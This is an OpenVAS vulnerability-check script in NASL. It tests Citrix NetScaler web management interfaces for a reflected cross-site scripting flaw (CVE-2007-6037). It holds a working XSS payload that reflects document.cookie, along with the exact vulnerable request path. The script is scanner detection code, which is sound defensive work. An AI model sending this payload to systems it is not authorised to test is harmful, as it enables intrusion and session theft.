NetScaler web management XSS

# OpenVAS Vulnerability Test
# $Id: netscaler_web_xss.nasl 4489 2016-11-14 08:23:54Z teissa $
# Description: NetScaler web management XSS
#
# Authors:
# nnposter
#
# Copyright:
# Copyright (C) 2007 nnposter
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2,
# as published by the Free Software Foundation
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
#

tag_summary = "The remote web server is prone to cross-site scripting attacks. 

Description :

The remote Citrix NetScaler web management interface is susceptible to
cross-site scripting attacks.";

tag_solution = "Unknown at this time.";

# History:
# 1.00, 11/21/07
# - Initial release

if (description)
    {
    script_id(80027);
    script_version("$Revision: 4489 $");
    script_tag(name:"last_modification", value:"$Date: 2016-11-14 09:23:54 +0100 (Mon, 14 Nov 2016) $");
    script_tag(name:"creation_date", value:"2008-10-24 20:15:31 +0200 (Fri, 24 Oct 2008)");
    script_tag(name:"cvss_base", value:"4.3");
    script_tag(name:"cvss_base_vector", value:"AV:N/AC:M/Au:N/C:N/I:P/A:N");
    name="NetScaler web management XSS";
    summary="Attempts XSS against NetScaler web management interface";
    family="Web application abuses";
    script_name(name);
    script_family(family);
    script_category(ACT_ATTACK);
  script_tag(name:"qod_type", value:"remote_vul");
    script_cve_id("CVE-2007-6037");
    script_bugtraq_id(26491);
    script_xref(name:"OSVDB", value:"39009");
    script_copyright("This script is Copyright (c) 2007 nnposter");
    script_dependencies("netscaler_web_login.nasl");
    script_require_keys("www/netscaler");
    script_require_ports("Services/www",80);
    script_tag(name : "solution" , value : tag_solution);
    script_tag(name : "summary" , value : tag_summary);
    script_xref(name : "URL" , value : "http://www.securityfocus.com/archive/1/483920/100/0/threaded");
    exit(0);
    }


if (!get_kb_item("www/netscaler")) exit(0);


include("url_func.inc");
include("http_func.inc");
include("http_keepalive.inc");


port=get_http_port(default:80);
if (!get_tcp_port_state(port) || !get_kb_item("www/netscaler/"+port))
    exit(0);

xss="</script><script>alert(document.cookie)</script><script>";
url="/ws/generic_api_call.pl?function=statns&standalone="+urlencode(str:xss);

resp=http_keepalive_send_recv(port:port,
                              data:http_get(item:url,port:port),
                              embedded:TRUE);
if (!resp || xss>!<resp) exit(0);

report = string(
    "The following URLs have been found vulnerable :\n",
    "\n",
    ereg_replace(string:url,pattern:"\?.*$",replace:"")

);
security_message(port:port,data:report);
set_kb_item(name: 'www/'+port+'/XSS', value: TRUE);